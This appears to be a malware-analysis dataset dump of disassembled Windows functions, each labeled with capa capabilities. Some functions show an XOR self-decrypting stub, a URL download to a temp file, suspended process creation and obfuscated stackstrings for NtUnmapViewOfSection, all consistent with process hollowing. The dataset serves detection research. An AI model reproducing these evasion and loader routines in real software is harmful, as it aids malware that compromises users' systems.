joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1012475
Capabilities:
Parse pe header
Terminate process

Disassembly:
push 0x70
push 0x10015e0
call fcn.010127c8
xor ebx, ebx
push ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call edi
cmp word [eax], 0x5a4d
jne 0x10124b2
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10124b2
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x10124ca
cmp eax, 0x20b
je 0x10124b7
mov dword [ebp - 0x1c], ebx
jmp 0x10124de
cmp dword [ecx + 0x84], 0xe
jbe 0x10124b2
xor eax, eax
cmp dword [ecx + 0xf8], ebx
jmp 0x10124d8
cmp dword [ecx + 0x74], 0xe
jbe 0x10124b2
xor eax, eax
cmp dword [ecx + 0xe8], ebx
setne al
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], ebx
push 2
call dword [sym.imp.msvcrt.dll___set_app_type]
pop ecx
or dword [0x1015010], 0xffffffff
or dword [0x1015014], 0xffffffff
call dword [sym.imp.msvcrt.dll___p__fmode]
mov ecx, dword [0x101500c]
mov dword [eax], ecx
call dword [sym.imp.msvcrt.dll___p__commode]
mov ecx, dword [0x1015008]
mov dword [eax], ecx
mov eax, dword [sym.imp.msvcrt.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x1015018], eax
call fcn.010127c2
cmp dword [0x10149d0], ebx
jne 0x1012539
push fcn.010127c2
call dword [sym.imp.msvcrt.dll___setusermatherr]
pop ecx
call fcn.010127b0
push 0x1001234
push 0x1001230
call sub.msvcrt.dll__initterm
mov eax, dword [0x1015004]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
push eax
push dword [0x1015000]
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.msvcrt.dll___getmainargs]
mov dword [ebp - 0x30], eax
push 0x100122c
push 0x1001228
call sub.msvcrt.dll__initterm
add esp, 0x24
mov eax, dword [sym.imp.msvcrt.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x34], esi
cmp byte [esi], 0x22
jne 0x10125cf
inc esi
mov dword [ebp - 0x34], esi
mov al, byte [esi]
cmp al, bl
je 0x10125a3
cmp al, 0x22
jne 0x1012595
cmp byte [esi], 0x22
jne 0x10125ac
inc esi
mov dword [ebp - 0x34], esi
mov al, byte [esi]
cmp al, bl
je 0x10125b6
cmp al, 0x20
jbe 0x10125a8
mov dword [ebp - 0x4c], ebx
lea eax, [ebp - 0x78]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
test byte [ebp - 0x4c], 1
je 0x10125da
movzx eax, word [ebp - 0x48]
jmp 0x10125dd
cmp byte [esi], 0x20
jbe 0x10125ac
inc esi
mov dword [ebp - 0x34], esi
jmp 0x10125cf
push 0xa
pop eax
push eax
push esi
push ebx
push ebx
call edi
push eax
call main
mov esi, eax
mov dword [ebp - 0x7c], esi
cmp dword [ebp - 0x1c], ebx
jne 0x10125fa
push esi
call dword [sym.imp.msvcrt.dll_exit]
call dword [sym.imp.msvcrt.dll__cexit]
jmp 0x101262f
or dword [ebp - 4], 0xffffffff
mov eax, esi
call fcn.01012801
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x10002113
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push esi
push dword [ebp + 0xc]
mov esi, eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x1000216a
push edi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
je 0x1000215c
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
add eax, edi
and esi, 0xf
jbe 0x10002158
cmp edi, eax
jae 0x1000215c
dec esi
movzx ecx, word [edi]
lea edi, [edi + ecx*2 + 2]
jne 0x1000214a
cmp edi, eax
jb 0x10002160
xor eax, eax
jmp 0x10002169
movzx eax, word [edi]
neg eax
sbb eax, eax
and eax, edi
pop edi
pop esi
pop ebp
ret
Function at 0x1000443e
Capabilities:
Check os version

Disassembly:
push 4
mov eax, 0x100182af
call fcn.100144a1
and dword [ebp - 0x10], 0
mov eax, dword [0x1001f038]
mov ecx, 0x1001f038
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x10], eax
and dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov esi, str.SoftwareAppDataLowSoftware_
cmp al, 5
ja 0x10004479
mov esi, str.Software_
mov eax, esi
call fcn.1000296b
mov ebx, eax
push esi
lea eax, [ebp - 0x10]
call fcn.10001d76
mov eax, dword [ebp + 8]
add eax, 0x60
push eax
push dword [ebp + 0xc]
lea edi, [ebp - 0x10]
call fcn.10001b4e
mov eax, dword [ebp - 0x10]
pop ecx
pop ecx
add eax, 0xfffffff0
call fcn.100021af
mov eax, dword [ebp + 0xc]
call fcn.10014540
ret 8
Function at 0x100052aa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push dword [ebp + 0xc]
mov esi, eax
push dword [ebp + 8]
xor eax, eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [esi], eax
mov eax, 0x2001f
lea ebx, [ebp - 0x14]
mov byte [ebp - 1], 1
call fcn.10005408
test eax, eax
je 0x10005304
xor bl, bl
lea esi, [ebp - 0x14]
call fcn.1000545a
mov eax, dword [ebp + 0xc]
add eax, 0xfffffff0
call fcn.100021af
mov eax, dword [ebp + 0x10]
add eax, 0xfffffff0
call fcn.100021af
pop esi
mov al, bl
pop ebx
leave
ret 0xc
lea eax, [ebp + 8]
push eax
push esi
lea eax, [ebp - 8]
push eax
push 0
push dword [ebp + 0x10]
mov dword [ebp + 8], 4
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x10005330
cmp dword [ebp - 8], 4
jne 0x10005330
test eax, eax
je 0x10005334
mov byte [ebp - 1], 0
lea esi, [ebp - 0x14]
call fcn.1000545a
mov bl, byte [ebp - 1]
jmp 0x100052de

Function at 0x10005341
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [esi]
and dword [esi], 0
add eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
push edi
lea eax, [ebp + 0xc]
push eax
mov eax, dword [ebp + 8]
push 0
push dword [ebp + 0xc]
push dword [eax]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x100053a5
cmp dword [ebp + 0xc], 1
je 0x1000537d
cmp dword [ebp + 0xc], 2
je 0x1000537d
push 0xd
pop eax
jmp 0x100053a5
mov eax, dword [ebp - 4]
test edi, edi
je 0x1000539f
test eax, eax
je 0x1000539a
test al, 1
jne 0x10005378
mov ecx, eax
shr ecx, 1
cmp word [edi + ecx*2 - 2], 0
je 0x1000539f
jmp 0x10005378
xor ecx, ecx
mov word [edi], cx
shr eax, 1
mov dword [esi], eax
xor eax, eax
leave
ret 8

Function at 0x10005b98
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
push esi
xor eax, eax
push eax
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push eax
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov esi, eax
mov eax, dword [ebp + 8]
add eax, 0xfffffff0
call fcn.100021af
mov eax, dword [ebp + 0xc]
add eax, 0xfffffff0
call fcn.100021af
mov eax, esi
pop esi
pop ebp
ret

Function at 0x10005bca
Capabilities:
Get common file path

Disassembly:
push 0x424
mov eax, 0x10018123
call fcn.1001450a
and dword [ebp - 0x42c], 0
and dword [ebp - 4], 0
lea eax, [ebp - 0x21c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x428]
push eax
push 0
push 0x1001c450
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push ecx
mov eax, esp
mov dword [ebp - 0x42c], esp
lea ecx, [ebp - 0x428]
push ecx
push eax
call fcn.100027cb
mov byte [ebp - 4], 1
mov eax, dword [ebp + 8]
push ecx
add eax, 0xfffffff0
mov dword [ebp - 0x430], esp
mov esi, esp
call fcn.10001dec
add eax, 0x10
mov dword [esi], eax
mov byte [ebp - 4], 0
call fcn.10005b98
pop ecx
pop ecx
test eax, eax
je 0x10005c5a
push 0x1001b858
jmp 0x10005c5f
push 0x1001c424
push edi
call fcn.100027cb
mov eax, dword [ebp + 8]
add eax, 0xfffffff0
call fcn.100021af
mov eax, edi
call fcn.10014554
ret
Function at 0x10005c78
Capabilities:
Get common file path
Read file on windows

Disassembly:
push 0x428
mov eax, 0x100180e8
call fcn.1001450a
mov edi, ecx
xor ebx, ebx
mov dword [ebp - 0x430], edi
mov dword [ebp - 0x42c], ebx
lea eax, [ebp - 0x428]
push eax
push 0x104
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x21c]
push eax
push ebx
push 0x1001c458
lea eax, [ebp - 0x428]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push ecx
mov eax, esp
mov dword [ebp - 0x42c], esp
lea ecx, [ebp - 0x21c]
push ecx
push eax
call fcn.100027cb
mov byte [ebp - 4], 1
mov eax, dword [ebp + 8]
push ecx
add eax, 0xfffffff0
mov dword [ebp - 0x434], esp
mov esi, esp
call fcn.10001dec
add eax, 0x10
mov dword [esi], eax
mov byte [ebp - 4], bl
call fcn.10005b98
pop ecx
pop ecx
cmp eax, ebx
je 0x10005d21
push 0x1001b858
push edi
call fcn.100027cb
mov eax, dword [ebp + 8]
add eax, 0xfffffff0
call fcn.100021af
mov eax, edi
jmp 0x10005d96
lea eax, [ebp - 0x21c]
push 0x1001b968
push eax
call fcn.100074ad
push 2
mov esi, eax
push ebx
push esi
call fcn.10007a62
push esi
call fcn.10007c72
mov edi, eax
lea eax, [edi + 1]
push eax
call fcn.10006956
push ebx
push ebx
push esi
mov dword [ebp - 0x42c], eax
call fcn.10007a62
push esi
push 1
push edi
push dword [ebp - 0x42c]
call fcn.10007f21
push esi
call fcn.100075ea
add esp, 0x3c
push dword [ebp - 0x42c]
push dword [ebp - 0x430]
call fcn.10001aa9
mov eax, dword [ebp + 8]
add eax, 0xfffffff0
call fcn.100021af
mov eax, dword [ebp - 0x430]
call fcn.10014554
ret

Function at 0x10005efb
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x10005f15
test al, 0x10
jne 0x10005f15
mov bl, 1
jmp 0x10005f17
xor bl, bl
mov eax, dword [ebp + 8]
add eax, 0xfffffff0
call fcn.100021af
mov al, bl
pop ebx
pop ebp
ret

Function at 0x1000696c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1001f0b0]
jne 0x10006976
repz ret
jmp fcn.10008c5a
Function at 0x10012a68
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1001f0b0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.10009f03
and dword [ebp - 0x14], 0
cmp dword [0x10021164], 0
mov dword [ebp - 0x18], eax
jne 0x10012b1b
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x10012bc3
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x10012bc3
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x10021164], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x10021168], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x1002116c], eax
call edi
push eax
call esi
mov dword [0x10021174], eax
test eax, eax
je 0x10012b1b
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x10021170], eax
mov eax, dword [0x10021170]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x10012b74
cmp dword [0x10021174], ecx
je 0x10012b74
push eax
call esi
push dword [0x10021174]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x10012b74
test ebx, ebx
je 0x10012b74
call edi
test eax, eax
je 0x10012b6b
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x10012b6b
test byte [ebp - 8], 1
jne 0x10012b74
or dword [ebp + 0x10], 0x200000
jmp 0x10012ba7
mov eax, dword [0x10021168]
cmp eax, dword [ebp - 0x18]
je 0x10012ba7
push eax
call esi
test eax, eax
je 0x10012ba7
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x10012ba7
mov eax, dword [0x1002116c]
cmp eax, dword [ebp - 0x18]
je 0x10012ba7
push eax
call esi
test eax, eax
je 0x10012ba7
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x10021164]
call esi
test eax, eax
je 0x10012bc3
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x10012bc5
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000696c
leave
ret
Function at 0x401000
Capabilities:
Decode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
xor eax, eax
cmp dword [ebp + 8], eax
je 0x40102d
cmp dword [ebp + 0xc], eax
je 0x40102d
push eax
push eax
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push 1
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryW]
neg eax
sbb eax, eax
neg eax
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x4018af
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 0x10]
mov eax, dword [esi]
and dword [esi], 0
push edi
mov edi, dword [ebp + 0xc]
add eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
push edi
lea eax, [ebp + 0x10]
push eax
push 0
push dword [ebp + 8]
push dword [ecx]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x401917
cmp dword [ebp + 0x10], 1
je 0x4018f0
cmp dword [ebp + 0x10], 2
je 0x4018f0
push 0xd
pop eax
jmp 0x401917
test edi, edi
mov eax, dword [ebp - 4]
je 0x401911
test eax, eax
je 0x40190d
test al, 1
jne 0x4018eb
mov ecx, eax
shr ecx, 1
cmp word [edi + ecx*2 - 2], 0
je 0x401911
jmp 0x4018eb
and word [edi], 0
shr eax, 1
mov dword [esi], eax
xor eax, eax
pop edi
pop esi
leave
ret 0xc
Function at 0x402120
Capabilities:
Create process on windows
Create process suspended
Resume thread

Disassembly:
push 0x60
mov eax, 0x4126c8
call fcn.004069ef
xor eax, eax
xor ebx, ebx
mov dword [ebp - 0x28], ebx
lea edi, [ebp - 0x24]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x40
stosd dword es:[edi], eax
xor esi, esi
lea eax, [ebp - 0x68]
push ebx
inc esi
push eax
mov dword [ebp - 4], esi
call fcn.004063c0
mov edi, dword [ebp + 8]
add esp, 0xc
mov dword [ebp - 0x6c], 0x44
cmp dword [edi - 0xc], ebx
jg 0x402178
lea ecx, [edi - 0x10]
call fcn.00401755
mov ecx, dword [ebp + 0xc]
add ecx, 0xfffffff0
call fcn.00401755
mov eax, ebx
call fcn.00406a8e
ret
push 0x418cf8
lea ecx, [ebp - 0x14]
call fcn.00401118
push esi
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp + 8]
mov byte [ebp - 4], 2
call fcn.0040107c
mov esi, 0x4132d0
push esi
mov ecx, eax
mov byte [ebp - 4], 3
call fcn.00401db7
mov ecx, dword [ebp - 0x18]
test eax, eax
setne byte [ebp - 0xd]
add ecx, 0xfffffff0
mov byte [ebp - 4], 2
call fcn.00401755
cmp byte [ebp - 0xd], bl
lea ecx, [ebp - 0x14]
je 0x4021d8
push esi
call fcn.0040122f
push dword [edi - 0xc]
lea ecx, [ebp - 0x14]
push edi
call fcn.00401383
jmp 0x4021e1
lea eax, [ebp + 8]
push eax
call fcn.0040115b
push 1
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp + 8]
call fcn.00401dd9
push esi
mov ecx, eax
mov byte [ebp - 4], 4
call fcn.00401db7
mov ecx, dword [ebp - 0x18]
test eax, eax
setne byte [ebp - 0xd]
add ecx, 0xfffffff0
mov byte [ebp - 4], 2
call fcn.00401755
cmp byte [ebp - 0xd], bl
je 0x40221e
push esi
lea ecx, [ebp - 0x14]
call fcn.00401e20
mov esi, dword [ebp + 0xc]
cmp dword [esi - 0xc], ebx
jle 0x40223f
push 0x4132cc
lea ecx, [ebp - 0x14]
call fcn.00401e20
push dword [esi - 0xc]
lea ecx, [ebp - 0x14]
push esi
call fcn.00401383
push ebx
lea ecx, [ebp - 0x14]
call fcn.00401442
lea ecx, [ebp - 0x28]
push ecx
lea ecx, [ebp - 0x6c]
push ecx
push ebx
push ebx
push 4
push 1
push ebx
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edi, eax
cmp edi, ebx
je 0x402290
push ebx
push dword [ebp - 0x20]
mov ecx, 0x417004
push ebx
push 1
call fcn.00401846
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [ebp - 0x24]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x28]
call esi
mov ecx, dword [ebp - 0x14]
add ecx, 0xfffffff0
call fcn.00401755
mov ebx, edi
mov edi, dword [ebp + 8]
jmp 0x40215d
Function at 0x4022a5
Capabilities:
Create process on windows

Disassembly:
push 0x60
mov eax, 0x4126c8
call fcn.004069ef
xor eax, eax
xor ebx, ebx
mov dword [ebp - 0x28], ebx
lea edi, [ebp - 0x24]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x40
stosd dword es:[edi], eax
xor esi, esi
lea eax, [ebp - 0x68]
push ebx
inc esi
push eax
mov dword [ebp - 4], esi
call fcn.004063c0
mov edi, dword [ebp + 8]
add esp, 0xc
mov dword [ebp - 0x6c], 0x44
cmp dword [edi - 0xc], ebx
jg 0x4022ff
xor esi, esi
lea ecx, [edi - 0x10]
call fcn.00401755
mov ecx, dword [ebp + 0xc]
add ecx, 0xfffffff0
call fcn.00401755
mov eax, esi
call fcn.00406a8e
ret
push 0x418cf8
lea ecx, [ebp - 0x14]
call fcn.00401118
push esi
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp + 8]
mov byte [ebp - 4], 2
call fcn.0040107c
mov esi, 0x4132d0
push esi
mov ecx, eax
mov byte [ebp - 4], 3
call fcn.00401db7
mov ecx, dword [ebp - 0x18]
test eax, eax
setne byte [ebp - 0xd]
add ecx, 0xfffffff0
mov byte [ebp - 4], 2
call fcn.00401755
cmp byte [ebp - 0xd], bl
lea ecx, [ebp - 0x14]
je 0x40235f
push esi
call fcn.0040122f
push dword [edi - 0xc]
lea ecx, [ebp - 0x14]
push edi
call fcn.00401383
jmp 0x402368
lea eax, [ebp + 8]
push eax
call fcn.0040115b
push 1
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp + 8]
call fcn.00401dd9
push esi
mov ecx, eax
mov byte [ebp - 4], 4
call fcn.00401db7
mov ecx, dword [ebp - 0x18]
test eax, eax
setne byte [ebp - 0xd]
add ecx, 0xfffffff0
mov byte [ebp - 4], 2
call fcn.00401755
cmp byte [ebp - 0xd], bl
je 0x4023a5
push esi
lea ecx, [ebp - 0x14]
call fcn.00401e20
mov esi, dword [ebp + 0xc]
cmp dword [esi - 0xc], ebx
jle 0x4023c6
push 0x4132cc
lea ecx, [ebp - 0x14]
call fcn.00401e20
push dword [esi - 0xc]
lea ecx, [ebp - 0x14]
push esi
call fcn.00401383
push ebx
lea ecx, [ebp - 0x14]
call fcn.00401442
lea ecx, [ebp - 0x28]
push ecx
lea ecx, [ebp - 0x6c]
push ecx
push ebx
push ebx
push ebx
push 1
push ebx
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov esi, eax
cmp esi, ebx
je 0x4023fc
push dword [ebp - 0x24]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
push dword [ebp - 0x28]
call ebx
mov ecx, dword [ebp - 0x14]
add ecx, 0xfffffff0
call fcn.00401755
jmp 0x4022e4
Function at 0x4035b0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
mov eax, dword [0x417160]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp dword [esi + 0x10], ebx
push edi
mov edi, dword [ebp + 8]
jne 0x4036f7
push 0x6c
pop eax
mov word [ebp - 0x66], ax
mov word [ebp - 0x64], ax
mov word [ebp - 0x5e], ax
mov word [ebp - 0x5c], ax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x6c]
push eax
mov byte [ebp - 0x28], 0x4e
mov byte [ebp - 0x27], 0x74
mov byte [ebp - 0x26], 0x55
mov byte [ebp - 0x25], 0x6e
mov byte [ebp - 0x24], 0x6d
mov byte [ebp - 0x23], 0x61
mov byte [ebp - 0x22], 0x70
mov byte [ebp - 0x21], 0x56
mov byte [ebp - 0x20], 0x69
mov byte [ebp - 0x1f], 0x65
mov byte [ebp - 0x1e], 0x77
mov byte [ebp - 0x1d], 0x4f
mov byte [ebp - 0x1c], 0x66
mov byte [ebp - 0x1b], 0x53
mov byte [ebp - 0x1a], 0x65
mov byte [ebp - 0x19], 0x63
mov byte [ebp - 0x18], 0x74
mov byte [ebp - 0x17], 0x69
mov byte [ebp - 0x16], 0x6f
mov byte [ebp - 0x15], 0x6e
mov byte [ebp - 0x14], bl
mov byte [ebp - 0x13], bl
mov byte [ebp - 0x12], bl
mov byte [ebp - 0x11], bl
mov byte [ebp - 0x10], bl
mov byte [ebp - 0xf], bl
mov byte [ebp - 0xe], bl
mov byte [ebp - 0xd], bl
mov byte [ebp - 0xc], bl
mov byte [ebp - 0xb], bl
mov byte [ebp - 0xa], bl
mov byte [ebp - 9], bl
mov byte [ebp - 8], bl
mov word [ebp - 0x6c], 0x6e
mov word [ebp - 0x6a], 0x74
mov word [ebp - 0x68], 0x64
mov word [ebp - 0x62], 0x2e
mov word [ebp - 0x60], 0x64
mov word [ebp - 0x5a], bx
mov word [ebp - 0x58], bx
mov word [ebp - 0x56], bx
mov word [ebp - 0x54], bx
mov word [ebp - 0x52], bx
mov word [ebp - 0x50], bx
mov word [ebp - 0x4e], bx
mov word [ebp - 0x4c], bx
mov word [ebp - 0x4a], bx
mov word [ebp - 0x48], bx
mov word [ebp - 0x46], bx
mov word [ebp - 0x44], bx
mov word [ebp - 0x42], bx
mov word [ebp - 0x40], bx
mov word [ebp - 0x3e], bx
mov word [ebp - 0x3c], bx
mov word [ebp - 0x3a], bx
mov word [ebp - 0x38], bx
mov word [ebp - 0x36], bx
mov word [ebp - 0x34], bx
mov word [ebp - 0x32], bx
mov word [ebp - 0x30], bx
mov word [ebp - 0x2e], bx
mov word [ebp - 0x2c], bx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
mov dword [esi + 0x10], eax
je 0x403702
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [esi + 0x10]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040654c
leave
ret 4

Function at 0x403713
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
cmp word [eax], 0x5a4d
je 0x40372e
mov eax, dword [ebp + 0xc]
and dword [eax], 0
mov eax, dword [ebp + 0x10]
and dword [eax], 0
jmp 0x40374f
mov ecx, dword [eax + 0x3c]
add eax, ecx
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
cmp dword [eax], 0x4550
je 0x403745
and dword [ecx], 0
jmp 0x403726
mov ecx, dword [ebp + 0x10]
add eax, 0xf8
mov dword [ecx], eax
pop ebp
ret 0xc
Function at 0x403753
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x88
mov eax, dword [0x417160]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x70], eax
push esi
push edi
xor eax, eax
xor ebx, ebx
mov dword [ebp - 0x88], ebx
lea edi, [ebp - 0x84]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov esi, ecx
cmp dword [esi + 0x14], ebx
stosd dword es:[edi], eax
jne 0x4038b8
push 0x6c
pop eax
mov word [ebp - 0x66], ax
mov word [ebp - 0x64], ax
mov word [ebp - 0x5e], ax
mov word [ebp - 0x5c], ax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x6c]
push eax
mov byte [ebp - 0x28], 0x4e
mov byte [ebp - 0x27], 0x74
mov byte [ebp - 0x26], 0x51
mov byte [ebp - 0x25], 0x75
mov byte [ebp - 0x24], 0x65
mov byte [ebp - 0x23], 0x72
mov byte [ebp - 0x22], 0x79
mov byte [ebp - 0x21], 0x49
mov byte [ebp - 0x20], 0x6e
mov byte [ebp - 0x1f], 0x66
mov byte [ebp - 0x1e], 0x6f
mov byte [ebp - 0x1d], 0x72
mov byte [ebp - 0x1c], 0x6d
mov byte [ebp - 0x1b], 0x61
mov byte [ebp - 0x1a], 0x74
mov byte [ebp - 0x19], 0x69
mov byte [ebp - 0x18], 0x6f
mov byte [ebp - 0x17], 0x6e
mov byte [ebp - 0x16], 0x50
mov byte [ebp - 0x15], 0x72
mov byte [ebp - 0x14], 0x6f
mov byte [ebp - 0x13], 0x63
mov byte [ebp - 0x12], 0x65
mov byte [ebp - 0x11], 0x73
mov byte [ebp - 0x10], 0x73
mov byte [ebp - 0xf], bl
mov byte [ebp - 0xe], bl
mov byte [ebp - 0xd], bl
mov byte [ebp - 0xc], bl
mov byte [ebp - 0xb], bl
mov byte [ebp - 0xa], bl
mov byte [ebp - 9], bl
mov byte [ebp - 8], bl
mov word [ebp - 0x6c], 0x6e
mov word [ebp - 0x6a], 0x74
mov word [ebp - 0x68], 0x64
mov word [ebp - 0x62], 0x2e
mov word [ebp - 0x60], 0x64
mov word [ebp - 0x5a], bx
mov word [ebp - 0x58], bx
mov word [ebp - 0x56], bx
mov word [ebp - 0x54], bx
mov word [ebp - 0x52], bx
mov word [ebp - 0x50], bx
mov word [ebp - 0x4e], bx
mov word [ebp - 0x4c], bx
mov word [ebp - 0x4a], bx
mov word [ebp - 0x48], bx
mov word [ebp - 0x46], bx
mov word [ebp - 0x44], bx
mov word [ebp - 0x42], bx
mov word [ebp - 0x40], bx
mov word [ebp - 0x3e], bx
mov word [ebp - 0x3c], bx
mov word [ebp - 0x3a], bx
mov word [ebp - 0x38], bx
mov word [ebp - 0x36], bx
mov word [ebp - 0x34], bx
mov word [ebp - 0x32], bx
mov word [ebp - 0x30], bx
mov word [ebp - 0x2e], bx
mov word [ebp - 0x2c], bx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
mov dword [esi + 0x14], eax
je 0x4038d3
push ebx
push 0x18
lea eax, [ebp - 0x88]
push eax
push ebx
push dword [ebp - 0x70]
call dword [esi + 0x14]
test eax, eax
jl 0x4038d3
mov ebx, dword [ebp - 0x84]
mov ecx, dword [ebp - 4]
pop edi
pop esi
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.0040654c
leave
ret 4